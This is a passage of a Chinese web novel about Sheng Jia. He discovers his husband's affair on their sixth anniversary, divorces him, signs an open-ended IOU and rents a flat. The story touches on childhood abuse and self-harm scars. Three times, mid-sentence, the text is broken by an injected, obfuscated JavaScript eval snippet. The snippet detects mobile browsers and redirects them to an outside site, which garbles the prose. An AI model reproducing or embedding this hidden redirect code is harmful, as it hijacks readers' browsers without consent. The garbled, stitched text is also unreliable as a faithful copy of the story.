《原配攻他离婚了》 1. 他们 今天是周四,盛嘉特意从幼儿园请假提前下班,去超市买了新鲜的鱼。 因为七月十七号,是他和余向杭结婚六周年的纪念日。 空心菜、西芹、鲈鱼、卤好的牛肉…… 盛嘉个子高挑,但是身形比较单薄,周围的路人看他炎热的夏日还穿着包裹严实的长袖,纷纷有些奇怪地撇了一眼,但他只垂下视线,拎着这些菜朝家走。 及肩的头发被黑色发绳束在脑后,随着上楼的动作,有碎发从耳后落下,他停下脚步将头发往后别,露出了一张略显苍白的脸。 平直的细眉,天生弧度弯弯的笑眼,鼻梁细挺,唇形偏薄,而下唇中间有明显的凹弧,形状像花瓣,看起来很适合接吻。 令人可惜的是,他明明五官并不差,然而整个人给人的感觉,却像干枯的玫瑰,憔悴到失去色彩。 盛嘉脚步轻快地往四楼走,本来他对今年的纪念日都不报希望了,因为从前年开始余向杭就说不想过结婚纪念日,几乎每次都睡在公司,但今年他竟然主动跟盛嘉说想在家里过。 于是盛嘉满怀着期待和欣喜地提前回家,想给余向杭做些他喜欢吃的,然而等他站在那扇熟悉的家门前,准备掏钥匙时却愣住了。 贴着春联和“福”字的门虚掩着,盛嘉的心一下子高高吊起,他呼吸发紧。 是有小偷吗?还是谁闯进来了? 会是余向杭吗?难道他也提前回家了? 胡思乱想之间,门内忽然传出动静,那声音令盛嘉的身体僵住了,血液仿佛都在倒流,明明是夏天,他的汗水也不断从额头往下淌,此刻却浑身发寒。 袋子掉在地上,他僵在原地半晌,才颤抖着伸手,小心翼翼地拉开门,玄关处赫然摆着两双鞋。 一双是余向杭的皮鞋,一双是白色球鞋。 它们凌乱地倒在地上,似乎鞋的主人在脱它们的时候格外着急。 “快、快点——啊,啊!” “干什么这么急往里吞?你、你不是说,嘶,放松点!” 啪的一声,是皮肉相触的脆响。 盛嘉听见那个年轻的男声说:“你不说你老公还要两个小时下班吗?这么害怕?” 随后,他的丈夫,用那种床上才会有的急促的声音开口回答:“不、不怕,他早就知道了,他什么都不会说的,啊——” 屋里两个人暧昧的动静中夹杂着年轻男人的笑声,他笑着问余向杭:“你老公这么窝囊,我上你,他知道了也不生气?” 余向杭没有回答,只是叫得更大声。 一瞬间,盛嘉呼吸困难,脸色发白,他低头看地面上的两双鞋,又抬头看屋内客厅。 他们甚至是在卧室做的。 在盛嘉和余向杭的婚床上做的。 视线内的一切就像融化的蜡油,缓慢滑落,客厅的沙发、餐桌、地板,全部都变得扭曲,化为粗陋的线条交织在一起。 心里窜出一只野兽,痛苦地嘶吼、咆哮,开始疯狂地啃食自己的血肉。 指甲死死掐进掌心,嘴唇颤抖,盛嘉的眼眶发酸,他不知道自己是怎么保持安静地走出去的,等再度回过神,他已经坐在小区楼下的长椅上。 袋子里的鲈鱼被闷久了,已经不再动弹,白色的鱼目翻着,似乎在看盛嘉。 夏日傍晚的风吹过来,盛嘉闻到怀里袋子发出的鱼腥味,他低下头,抬手慢慢给红色塑料袋打上结,随后想要站起身。 不能在这里坐着,等他们结束了,他会和那个年轻男人撞上的。 但四肢怎么也动不了,他好像也跟那条被闷久了的鲈鱼一样,僵硬地动弹不得。 余向杭说得对,他确实早就知道了,他也的确窝囊。 在发现余向杭和别人暧昧的聊天记录时,他就像没有看到,于是余向杭之后都能当着他的面和别人发消息。 在发现客厅沙发脚下面撕开的安.全.套包装袋时,他扯着笑说自己打扫卫生时都没注意到以前的垃圾,然而他们上一次同房还是三年前。 一桩桩、一件件,他早已经知道,却还是假装这段婚姻一切都好。 因为他真的很需要余向杭,很需要曾经拯救过他无数次的余向杭能继续陪着他、爱着他。 天际残阳如血,一个男人从楼上下来,盛嘉看见那双熟悉的白色球鞋。 他抬起头,想看看这个人究竟长什么样,匆忙之间只看见半张俊朗的侧脸和高大挺拔的背影。 原来长这样,比他年轻,比他强壮,比他更加自信且意气风发。 盛嘉的眼泪掉了下来,他忽然想起余向杭近几年经常说的—— “你身上又有疤,年纪也不小了,除了我谁还要你?” 其实不怪余向杭的,是他太糟糕,太差劲了,一直以来配不上余向杭的人是他,所以他没有资格去指责余向杭现在去找别人。 盛嘉一遍遍告诉自己,都是自己的错,余向杭已经做得很好了,他从前救了自己那么多次,后来甚至还愿意和自己结婚,他已经得到过余向杭很多年的爱,不能奢求这个人一辈子都爱自己。 可他还是生出一点委屈,很小很小,却又分外鲜明。 明明从前余向杭说过会永远爱他,会给他一个幸福的家,为什么从婚姻的第三年开始就变了? 天色慢慢暗下来,但盛嘉第一次在结婚后对“回家”这件事,生出了几分逃避的情绪,他拎着两袋菜朝小区外的便利店走去。 一进便利店的大门,就有悠悠的冷气吹过来,盛嘉打了个哆嗦,随后找到无人的角落处坐着。 便利店里这个点没什么客人,十分安静,大概是因为现在是饭点,人们基本上都回家了。 盛嘉看着玻璃窗外的街道,看到和他住在一栋楼的一家三口牵着手说说笑笑朝小区走。 卡通书包挂在男人的肩上,女人则拉着儿子的手,那个小男孩蹦蹦跳跳地说着话,说到一半,就被他的爸爸一把捞起,抱到了肩膀上坐着。 他们脸上全都洋溢着笑,隔着几百米的距离,盛嘉听不见那种欢笑声,却能想象到他们有多开心。 垂下眼睫,盛嘉的神情变得落寞,然而在此时身旁忽然响起一道男声。 “嘿,你还好吗?” 盛嘉转过头,他的对面不知何时坐了一个戴着鸭舌帽和口罩的男人。 在无人的便利店内他包裹得比盛嘉还要严实,整张脸只露出了眼尾上扬、线条凌厉的眼眸,有几缕红发从黑色鸭舌帽的边缘冒出。 刚和那双眼睛对上,盛嘉就立刻转移了视线。 “看你拎着两袋子菜,脸上又很失落的样子,是和家里人闹矛盾了?” 男人推了一小罐没开封的果汁到盛嘉手边,盛嘉缩了缩手,把桌面上的手放到了腿上,还是没说话。 盛嘉面前的男人也没再说话,他们只是安静地对坐着,男人一手撑着下巴看窗外,而盛嘉有些紧张地抿抿唇,低下了头。 “我刚和家里人闹了矛盾,这才跑到外面来,正好看你也一个人坐在这里,就想和你说说话,没什么恶意的。” 男人轻声开口解释,见盛嘉还是没什么反应,站起了身,似乎要离开,但就在这时,盛嘉主动叫住了他。 “你……你和家里人闹了什么矛盾?” 盛嘉抬头问,但视线还是飘在一旁,他不太擅长和陌生人打交道。 男人顺势又坐了下来,叹了一口气回答:“我姐想让我帮她带孩子。” “你不愿意吗?” 盛嘉没有想到会是这种矛盾,下意识反问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219954|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 “也不是不愿意,主要她让我替她带孩子带一年,然后她跑出去旅游。” 男人的语气有些无奈,令盛嘉皱了皱眉,出于职业习惯,他问:“小朋友的爸爸呢?” 孩子的爸爸完全不照顾孩子吗? “哦,我姐她离婚了,那个男的不是个好东西,孩子交给他更不行。” “家暴、出.轨,什么坏事都做了,必须得离婚啊。” 说到这里,男人的视线直直对上盛嘉的眼睛,眼神不知为何带着深意。 盛嘉一惊,总觉得这人意有所指,转念一想又不可能,毕竟他们才刚见面不到几分钟,应该只是错觉。 “那……你姐姐是怎么下定决心离婚的?” 盛嘉捏了捏桌下的手,开口问面前这个陌生人。 “只要认清对方并不再爱你的事实就好了,既然选择了背叛和伤害,那么无论从前有多少爱,在犯下错误的那一刻起都是狗屁。” 男人声音有些冰冷,最后两个字说得尤其重,似乎对这种行为深恶痛绝,厌恶到了极点。 盛嘉有些发愣,迟迟没有回应。 此时男人好像也意识到自己刚刚的语气有些失态,他又放缓了声音。 “明白这个人不爱你,抱着这样的想法去和对方接触,就会发现很多事情其实很好下定决心,更何况,离婚也不是什么大事,只要你觉得应该离婚,那说出口就好了。” 盛嘉心中又升起古怪的感觉,总感觉面前的人在劝自己离婚,但他和余向杭之间的事谁也不知道,周围人只知道他结婚了,并不清楚这段婚姻内里是什么样的。 “抱歉,因为我姐的经历,每次聊起这种话题我总会控制不住多说几句。” 男人轻咳一声,随即朝盛嘉道歉。 盛嘉眼神中的警惕和狐疑这才慢慢淡去,他点点头,表示可以理解。 “天都黑了,你快点回家吧,我也该回去了,毕竟当初也是我先支持我姐离婚的,这小孩我替她照顾也没什么关系。” 男人看了一眼手机上的时间,站起身朝盛嘉告别,就在转身离开前,他又停下脚步,看向坐在原地的盛嘉。 “虽然刚刚一直是我在说话,但我还是想说最后一句,你憋在心里的委屈和不开心一定得告诉那个伤你心的混蛋,让他知道他多不是个东西。” “而且这个世界上一定有支持你的人,就像我姐当初离婚,全家人都愁眉苦脸的,但我还是对她说了离婚快乐,以后去追求你真正的幸福吧。” 这个男人眼神莫名地看了盛嘉一眼,他没有等盛嘉的回答,也没有任何多余的行为,只是抛下这两句话,利落地转身离开。 这个世界上一定有支持你的人。 离婚快乐,以后去追求你真正的幸福吧。 盛嘉那一点小小的委屈,随着这两句话忽然极速膨胀。 他拎起两袋菜起身朝小区走去,上了四楼,像往常一样打开房门。 “你怎么这么晚才回来?” 余向杭从浴室里走出,站在客厅皱着眉朝盛嘉开口问。 盛嘉没有回答,他将两个袋子放到厨房,余向杭的“你怎么不说话?”、“我都没生气,你甩脸色给谁看?”被他抛到身后。 他以前怎么没有发现?怎么没有注意到? 余向杭婚后愈发不耐烦的语气,时不时指责他“甩脸色”,每次回家后先要洗澡的习惯…… 其实这些裂痕在他发现余向杭背叛婚姻之前,他就已经发觉了不是吗? 余向杭确实不爱他了,余向杭确实早就不爱他了。 盛嘉深吸一口气,那份心情如同不断被吹鼓的气球,最后砰的一声炸开。 他转过身朝余向杭说:“向杭,我们离婚吧。” 2. 欠条 余向杭一时之间愣住了,只是无言地、惊讶又不解地看着盛嘉。 盛嘉再次重复:“我们离婚吧。” 他站在厨房水池旁,穿着黑色长裤和浅色的长袖上衣,一如往常,只是脸上神色暗淡无光。 余向杭心中被盛嘉望向他的眼神刺了一下,他走进厨房,猛然质问:“盛嘉,你是不是好日子过久了,非要找点事?” 那张盛嘉曾注视过无数遍、吻过无数遍的面庞,此刻浮现出陌生的神情,令他低下头不敢再看。 余向杭的眉头拧着,眼睛里是不耐和厌烦。 盛嘉最喜欢余向杭的眼睛,窄窄的眼皮,澄亮的眼瞳,他看起来永远像一个明朗的少年。 但这双曾闪动着爱意,曾在每一次的对视中都让盛嘉心动的眼睛,如今也变成了剜他心的刀子。 那人说的对,只要认清了对方不再爱你的事实,所有证据都会摆在你面前,告诉你,那些背叛和伤害从头到尾都无比真实,无比伤人。 “向杭,我没有在闹脾气,也没有在刻意找事,我已经想好了,”盛嘉的声音顿了顿,原本垂着的头也抬起来,他鼓足勇气继续说:“我想离婚。” 余向杭嗤笑一声,抬脚又走近几步,随后有些恼怒地一把拽住盛嘉的衣领,将人拉到自己面前。 “你要在结婚纪念日跟我说离婚?” “我说你今晚怎么这么晚回来,盛嘉,你是不是在外面有人了?是外面那个忍不住了?” 盛嘉难以理解地看着面前的人,余向杭怎么会说他在外面有人? 明明在几个小时前,余向杭还在和别人睡在一起,他怎么能如此恶劣地揣测是盛嘉先背叛了这段婚姻? 他怎么能如此心安理得、如此坦然自若地指责,怎么能表现得好像是盛嘉伤透了他的心? 胸膛起伏几下,盛嘉的身体开始颤抖,他握住余向杭的手腕,手指冰冷。 “余……余向杭,我要和你离婚。” “我要和你离婚。” 他什么解释都说不出口,只翻来覆去地重复这一句话,陷入年少时的那种无助,无论怎么求饶、怎么说他不要都没有用,可当时弱小的他也只能以这种方式表达他的抗拒。 从前有余向杭保护他,让他免遭伤害,但现在,这个人却变成了让他感到痛苦的人, 余向杭眯起眼,冷着脸用力将人拽出,盛嘉挣开那只紧紧捏着自己手腕的手,却一时没站稳,撞得餐桌往后移,发出刺耳的声音。 “今天是我们结婚六周年,我们在一起已经十年了,我本来想好好陪你的,如果你要这么说的话,我马上就走,等你冷静了,我再回来。” 盛嘉的眼泪涌出,多可笑,余向杭竟然还记得他们在一起已经十年了。 余向杭十九岁和他相恋,二十四岁和他结婚,今年都第十年了。 看到盛嘉的眼泪,余向杭也压住了火气,他的语气又缓和了些。 “怎么又哭了?好了好了,我不走,你刚才的话我就当没听过。” “你也真是的,干什么好好地就要离婚。” 他抬手要抹去盛嘉脸上的眼泪,却被盛嘉偏头躲过,这让余向杭的手停在半空中。 “余向杭……我要和你离婚,是认真——” 话未说完,余向杭忽然靠近,将盛嘉抵在餐桌旁,掐着那尖细的下巴就要吻。 “你别碰我!” 盛嘉几乎是凄厉地喊出声,他将余向杭朝后发狠一推,推得人一趔趄。 他抬起手不断拿袖子擦着下巴那一块皮肤,直至泛起红,盛嘉微颤的手指也还是没停下动作。 余向杭终于确定盛嘉不是在说笑。 面前的人脸色发白,那总是含着笑意的双眼也充斥着抗拒,他明明很怕,抖得好像下一秒就要软倒在地,却还是站在这里,一字一句、清清楚楚反复说“我要和你离婚”。 “行,离婚是吧?” 余向杭拿出手机,点开和盛嘉父亲的聊天框,让他看转账记录。 “离啊,之前我替你家还的债,你爸悄悄来找我要的这些钱,离婚了你得还吧?” “还有房子,房子是我买的,你也别住了!” 他的视线下移到盛嘉的左手,上面无名指套着一枚戒指,他冷笑开口:“戒指也是我买的,你是不是也得还?” 盛嘉眼瞳放大盯着余向杭的手机,他从来都不知道他那个生父还在和余向杭联系,还跟余向杭要钱。 他伸手要拿余向杭的手机看,却被余向杭挪开手。 “你、你之前不是和我说他被法院判刑了,不会再出现了吗?” 盛嘉惊恐地抬眼看余向杭,余向杭取笑般地回答:“盛嘉,你怎么还和以前一样那么天真,盛千龙是那么好摆脱的人吗?你这几年能过上安生日子,都是因为我在花钱买你的安稳!” 余向杭发现盛嘉缩回了手,似乎整个人都垮了下来,这才收起手机,将人按到椅子上坐下,随后蹲下握住盛嘉细长冰凉的手指。 本以为盛嘉离婚的想法会就此熄火,自己再哄几句他们就能和好,可盛嘉却在下一秒开口。 “我会把钱还给你,房子我不要,戒指也还给你,婚内财产我都不要。” 余向杭面色沉了下去,他背对盛嘉站起身,呼出一口浊气。 本来下午刚结束一场情.事,身上累得很,结果还要解决盛嘉的小情绪,他此刻是真真切切地不耐烦起来。 “你还得干净吗?你能赚多少钱,我又花了多少钱?你怎么还?” “盛嘉,你别胡闹了,之前你怪我不陪你,我今晚特意从公司赶回来陪你,你还要跟我闹!” 盛嘉沉默着没说话,他低头捏住那枚素圈婚戒,慢慢往外拽。 因为六年都没取下来过,戒指卡得有些紧,指根都被盛嘉的动作拽的发红,可他好像感觉不到痛,只是用力地、专注地取下这枚戒指。 当年他套上时,觉得自己是世界上最幸福的人,现在取下来时,他依旧能想起余向杭向他求婚的瞬间。 “盛嘉,和我结婚吧?” “我会永远爱你,保护你的,你再也不用战战兢兢的了。” “我给你一个幸福的家。” 大学刚毕业的余向杭单膝跪在地上,握住他的手,这样诚恳地说。 夜空中的繁星也比不过余向杭那时眼中的光芒,而盛嘉,他怎么能不动容? “我可以打欠条,每个月还款的金额你来定,你说还清了,就算还清了。” “盛千龙那边,你给我一个联系方式,我会应付他的,你不用再管他了。” 余向杭心烦意乱地转过身,却发现盛嘉已经站在他身后,朝他伸出左手掌心。 里面是一枚小小的戒指,托着它的掌心有余向杭最熟悉的纹路,而它曾停留过六年的无名指还残留印下的环形痕迹。 “戒指还给你,欠条现在就可以写,明天我们就去办理离婚吧。” 盛嘉看着他,眼尾发红,可眼眸里已经是一潭无风无波的死水。 白纸从书房内拿出,黑笔的笔盖被取下,随后屋内响起细微的刷刷声,很快一张欠条出现在余向杭面前。 正中是“欠条”二字,下方是一行行清隽字迹: 本人盛嘉,今欠余向杭若干金额欠款,具体金额由借款人余向杭所定,借款期限自二零二五年七月十七日起,每月一号偿还,结束期限由借款人余向杭所定,借款利息由借款人余向杭所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219955|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定。 这是一份潦草又漏洞百出的欠条,但盛嘉很快签好名,印完指印,便将纸张推给余向杭。 余向杭没有动,他看着这极其荒唐的欠条良久,开口问:“盛嘉,你确定要和我离婚,我说还多少钱,你就还多少钱,我说还多久,你就还多久?” 盛嘉轻轻“嗯”一声,婚戒被他放在一旁,刚刚余向杭没有收下,他只能放在桌上。 余向杭抬笔刷刷签下自己的名字,冷声说:“盛嘉,以后你再来和我商量这些事我不会理你的,你既然这么想离婚,今晚就搬出去。” 欠条一式两份,盛嘉收好后便去卧室收拾自己的衣物。 房间里还留有那种暧昧的气味,余向杭记得洗澡,却不记得收拾干净这些味道,盛嘉嗅到后嘲讽地一笑。 余向杭不是一个细心的人,所以盛嘉才会发现床头手机屏幕上那一条“什么时候来找我睡?”,才会在沙发脚看见撕开的包装袋,才会在今天推开虚掩的门。 余向杭也是一个细心的人,所以才会从种种迹象中得知盛嘉离不开他,知道盛嘉会次次包容他的出.轨,知道盛嘉这时说要“离婚”是认真的。 “我走了。” 盛嘉推着一个行李箱站在门前,手搭在门把手上,片刻后又说:“厨房里还有我买的菜,你晚上别不吃饭,会胃痛,以后……” 话未说完,一个花瓶猛地砸了过来,几乎擦着盛嘉的肩头。 哗啦一声,碎片掉在脚边,伴随着余向杭冷漠的声音:“你要走就快走!” 盛嘉眼前视线又开始变得模糊,他盯着那个有雏菊图案的花瓶,那是他们刚搬进这个家一起挑的。 他没再说话,只是按下门把手,跨过花瓶的碎片,没有回头、没有出声地关上了门。 夜色深沉,街边路灯恰好在盛嘉走出小区时亮起,他抬起头,看着明亮的路灯,却觉得周身被更加浓重的黑暗笼罩。 他看不清未来的路在哪,不知道将如何独自支撑接下来的人生。 和余向杭组建一个幸福的家庭,和余向杭相守到老,这些是他从前一直向往并努力追求的目标,现在却什么也没了。 盛嘉像一个呆呆的木偶,平静地走到宾馆前订下房间,平静地刷卡。 他关上门,滴答滴答,房间内的钟表在走,这点声音在寂静黑暗的屋内格外明显。 没有人陪伴的夜晚,总是会让盛嘉想起童年时被盛千龙关在地下室的日子。 他将房卡插入槽内,房间登时亮起来,随着他抬手又落下的动作,衣袖向下滑落,露出半截小臂。 上面有密密麻麻的划痕,还有几个深色的坑洞,那是被烟头烫出的伤痕。 太安静了,静得这世界好像只有他一个人。 盛嘉抬脚朝屋内走去,脚却一软,他终于撑不住了,扑在地上一动不动,鼻梁直直砸在地上,令他鼻尖一酸,眼泪冒出来。 为什么会这样? 比离婚协议先来的是一纸欠条。 比百年好合先来的是婚内出.轨。 比幸福先来的,是背叛。 用“欠款由余向杭所定”这句话,能还尽这些年的感情和缘分吗,能还尽相伴路上所流的泪、所付出的爱吗? 盛嘉不知道,他真的不知道。 他只知道,从今天开始,他又要变成孤身一人了。 身体紧紧蜷缩在一起,盛嘉双臂环住自己,忍不住嚎啕大哭。 睫毛黏在一起,他呼吸困难般地张嘴剧烈喘息,到最后甚至用手握成拳头不断锤着单薄的胸口,只希望心脏处的痛楚能少一点。 眼泪顺着眼角流出,滴在房间地板上,好像要形成一个小水洼,却容纳不了盛嘉的悲伤和痛苦。 3. 离婚 手机铃声响起的时候,盛嘉还没醒,直到对方锲而不舍地始终没挂电话,他才皱着眉睁开双眼。 昨夜盛嘉一直睡在地板上,现在正浑身酸痛,他脸上还挂着泪痕,眼下泛着青黑,眼角和鼻尖都红通通的,素白的脸上满是疲惫的神色。 “喂?” 盛嘉声音沙哑地开口,电话对面的人一下子着急起来。 “盛老师你怎么还没来啊?小朋友们都到了!还有你的声音——” 盛嘉捂住话筒,轻轻咳了几声,随后打断那头的话。 “抱歉,我临时有点不舒服,你帮我跟园长请个假吧。” “怎么会不舒服?是哪里生病了吗?要不要紧?” 年轻的男声还在不停地说话,盛嘉因为没休息好,实在是头疼得厉害,只稍稍回复了几句,就和人挂了电话。 他不爱和人打交道,在工作的幼儿园和同事关系一般,唯独这个数月前来的男老师,对方总会来找他聊天。 偶尔盛嘉也觉得可以和对方交个朋友,但长久以来他的心中都根生蒂固地埋着“他是个很差劲的人”这样的观念,因而他很难去相信除余向杭之外的人。 毕竟只有余向杭会在从前出手帮他,只有余向杭不嫌弃、不厌恶自己内向到阴沉的性格,也只有余向杭会给他温柔和关心。 想到这里,盛嘉的心情又低落起来。 他们今天要去办理离婚了,余向杭也不再会是他所能相信的人。 盛嘉坐在地板上给余向杭发去碰面的时间,便开始看租房的消息,但等他确定要租的房子,甚至一直快到中午,余向杭都没有回复他。 尽管在这段时间内盛嘉有想过余向杭是否会反悔,但昨天余向杭那不耐厌烦的神情和说过的话,却不断向盛嘉证明,余向杭的确早已对这段婚姻没什么可挽留的了。 离约好的时间还有两个小时,盛嘉落寞地靠在床边看自己的无名指,他有长而密的睫毛,一旦这样低头垂下视线,便掩住了眼中所有的情绪,那双天生弯弯的笑眼也会弧度收敛,显出几分郁色。 酒店房间内的玻璃窗户映出他的倒影,及肩的黑发不知何时散开,露出白皙后颈,那里的一小块骨头微凸,脊柱也透过上衣布料格外明显。 盛嘉没有管此时凌乱的头发,只是抱着腿,侧脸贴在膝盖上,眼神放空,他像只瘦骨嶙峋的黑猫窝在角落,很没有安全感,很孤单,于是只能用尾巴团住自己,至少能暖和一点。 很快就到了不得不出门的时间,盛嘉慢吞吞地起身,洗漱好之后换上干净的衣服,他不知道自己什么时候变瘦的,明明这些衣服从前都尺码刚刚好,如今浅灰色的长袖罩在他身上空荡荡的,牛仔裤的腰围也大了一截。 等盛嘉到了民政局门口才发现余向杭竟然还没来,他只能站在这里耐心地等。 从前他们约会时,余向杭就经常迟到,因为他性格有些马虎,总会在出门后丢三落四的,所以总会比他们约好的时间晚到一会,然而盛嘉那时觉得等他的分分秒秒,也是一种幸福。 但现在,他们都要离婚分开了,余向杭却依旧迟到了。 好像和盛嘉的每一次见面,对余向杭来说都不是什么必须要准点到的大事,于是约会迟到,离婚迟到,于是盛嘉便总在等,直到可能是这一生最后一次见面时,依旧在等。 又过了二十分钟,盛嘉发现民政局对面停着的黑色轿车下来一个人。 那人穿着衬衫和西裤,衣领敞开了一点,正是余向杭。 他早就到了,却一直在车上没有过来。 余向杭一走近,盛嘉便发现了他脖子处的红痕,他黑色短发的发根也有些潮湿,颧骨处泛着红晕。 刹那间,盛嘉明白了。 余向杭是和那个年轻男人一起来的,他们知道盛嘉就等在门口,却还在车上亲热了一番。 盛嘉本以为昨天提出离婚已经是他最痛苦的时刻,然而今天余向杭所做的一切才真正令他心如刀割。 他昨夜哭到失声、呼吸困难,而余向杭却还能和情人缠绵。 这段婚姻就如此令余向杭轻视吗? 十年感情,连一个体面的结束都不愿意给吗? “怎么不进去?” 余向杭开口问,气息还有些不稳,见盛嘉不说话,自己抬脚就要往里面走,却被身旁的人一把拉住。 “你……你早就到了?” 盛嘉死死拽着余向杭的袖子,一字一句好似挤出来。 “我来了不就行了?早到晚到有区别?” 余向杭只是这样回答。 盛嘉背对他闭上眼,深吸一口气,才将痉挛的喉咙里漫出的血腥味压住。 余向杭将自己的袖子扯出,不耐烦地问:“还离不离了?” “离。” “我离。” 盛嘉睁开眼,也抬脚往民政局大门内走。 本以为盛嘉会后悔或是退缩,却没想到走到这一步,对方依旧没有丝毫让步,余向杭的心一沉。 “确定了?” 工作人员看着面前的两个人再次确认,盛嘉点点头,余向杭迟迟没动。 片刻后,他问:“你昨天是不是提前回来看到了?” 今天他从别人的车上下来,盛嘉没有问,可余向杭不信盛嘉真的能不在意。 明明从前发现他出.轨时,盛嘉都会眼泪打转、露出难看的笑,装作什么都不知道,可今天他却如此平静。 这办理流程的十多分钟,余向杭终于明白盛嘉离婚态度为什么如此决绝,只有可能是盛嘉亲眼看见、听见让他死心的画面。 于是结婚以来,余向杭总是安静、温顺、对一切都包容接受的丈夫,在昨天骗自己骗不下去了。 盛嘉没有回答,只是偏头看向余向杭。 他看得很仔细、很认真,令余向杭忽然不舍。 余向杭为激情找了年轻的情人,但此刻被日渐无趣的丈夫无声注视,又留恋起这份温吞的爱,让他不住回想六年前在这里,和盛嘉穿着白衬衫,在红色背景前幸福合照的瞬间。 “我……” 在盛嘉的注视下,余向杭心底冒出一个小小的念头,他真的应该离婚吗? 情人带来的激情和欢愉真的会胜过这段婚姻里的朴素和平淡吗? “向杭,离婚后祝你幸福。” 盛嘉的声音依旧是轻柔的,但这句话堵死了余向杭所有迟疑的想法。 没关系的,盛嘉心里还是爱他的,就算离婚了,盛嘉还是需要他的,所以没关系的。 就算离婚了,就算他以后后悔了,盛嘉一定也会愿意回来的。 余向杭甩掉那些莫名的犹豫,怀着这种想法,最终还是保持了他在盛嘉面前一直以来的强势姿态。 他们走出民政局后,余向杭朝身旁的人问:“盛嘉,你现在有地方住吗?” 本想顺势让盛嘉回来住,没想到盛嘉点点头说自己已经租好了房子。 民政局对面黑色轿车的车窗降下来,驾驶位上的男人隔着一条马路冲这边挥了挥手,余向杭的注意力立刻被转移。 “行,那我就走了,之后有什么事再说。” 他随意说了几句话,如此潦草地结束“离婚”这件事。 盛嘉一句“再见”还没来得及说出口,只见路对面的男人下了车,已经朝余向杭走,于是他咽下了这句告别。 他们之间的婚姻开始得那么郑重,最后余向杭却几乎是迫不及待地奔赴到下一个人的身边,对于“出.轨”,他没有解释,也没有说什么。 有关盛嘉和余向杭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219956|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切像一出烂尾的戏码,那些爱,连同多年感情都在这里戛然而止。 盛嘉站在原地,看余向杭和那个人拥抱,牵手一起上了车,才后知后觉地转身离开。 他先去酒店拿着行李退了房,随后打车去了跟中介约好的地点。 “盛先生是吧?” 小区门口的男人看到提着行李箱的盛嘉,连忙跑过来。 “我想着还是先带您看看房子,您觉得没问题,咱们再签合同。” 徐中介擦了擦额头的汗,带盛嘉往里走。 “嗯……我今天就得定下来。” 炎热夏季盛嘉穿着长袖长裤,看起来并不像徐中介汗如雨下,只有鼻尖沁了点汗。 两人进了屋内,盛嘉一打眼看过去,发现这房子虽然不大,但却有个采光很好的阳台。 “徐中介,就这里吧,你带合同了吗?” 盛嘉站在阳台上转身问,徐中介连连点头,从公文包里拿出合同。 “这价格怎么比我们一开始说的低这么多?” 看到合同上的价格,盛嘉有些不解地看向面前的人。 徐中介讪笑着,解释道:“这个啊,这个、这是因为出租的人急着用钱,才叫我低价租出去的。” 想到昨天晚上忽然一个电话打过来,让自己给盛嘉开低价格的那位大少爷,徐中介又抹了抹额头的汗。 见盛嘉还是不太放心的样子,徐中介接着开口补充:“盛先生,你放心,咱们都认识多少年了,你之前和余先生租房,我安排的房源不也没什么问题吗?” “所以啊,你千万别因为价格低,就觉得这房子不好,这肯定是没问题的呀!” 见徐中介提起过去的事,盛嘉垂下眼。 当初他和余向杭刚结婚的时候,两个人还买不起房子,只能租房子,但他们在这片陌生的土地没有人脉,找的中介看他们是外地人也大多不靠谱,在那之后,徐中介便主动联系上了他们。 徐中介一直都很热心,总会隔几个月就问他们房子有没有什么问题,甚至他们三年前买下的房子也是徐中介找人帮忙,给了最低的价格,这才让他和余向杭落了脚。 “诶,对了,盛先生你怎么好好地就要租房子住了,你……是和余先生闹矛盾了?” 盛嘉的思绪被打断,他摇了摇头,语气平静地回答:“我和他离婚了。” “离、离婚了?!” 徐中介顿时十分惊讶,下意识问起原因。 “没什么特别的原因,就是,不太合适吧。” 盛嘉并未和外人提及离婚的原因,也不愿多聊这件事,话音落下,他便开始沉默地签合同。 “哦、哦,这也不是什么大事,不合适就离,总比拖着好。” “盛先生您也还年轻,以后总能遇见更好的人。” 徐中介视线落在盛嘉身上,他这位租户皮肤白,脸小小的,和人说话时一双眼睛总含着笑,似乎六年婚姻并未留下时间的刻痕,盛嘉还是和他记忆里当年大学刚毕业的盛嘉一模一样。 不,也还是有点变化的。 徐中介有些复杂地看着盛嘉突出的腕骨,那里一层薄薄的皮肉贴着骨头。 盛嘉相较于六年前瘦了很多,脸颊稍稍凹陷,面色也不似从前红润,倒更苍白、憔悴。 看起来,这段婚姻似乎真的不太好, 盛嘉收笔,随后低声喃喃:“不年轻了,我已经三十二岁了。” 徐中介没听清,疑惑地问“什么”,盛嘉摇摇头,将合同递给他。 “谢谢你,徐中介,本来还以为我得在酒店多住一段时间,没想到你这么快就帮我找到了房子。” 盛嘉诚恳地道谢,不管怎么说,至少现在他有了一个可以勉强称之为“家”的地方落脚。 4. 赛车手 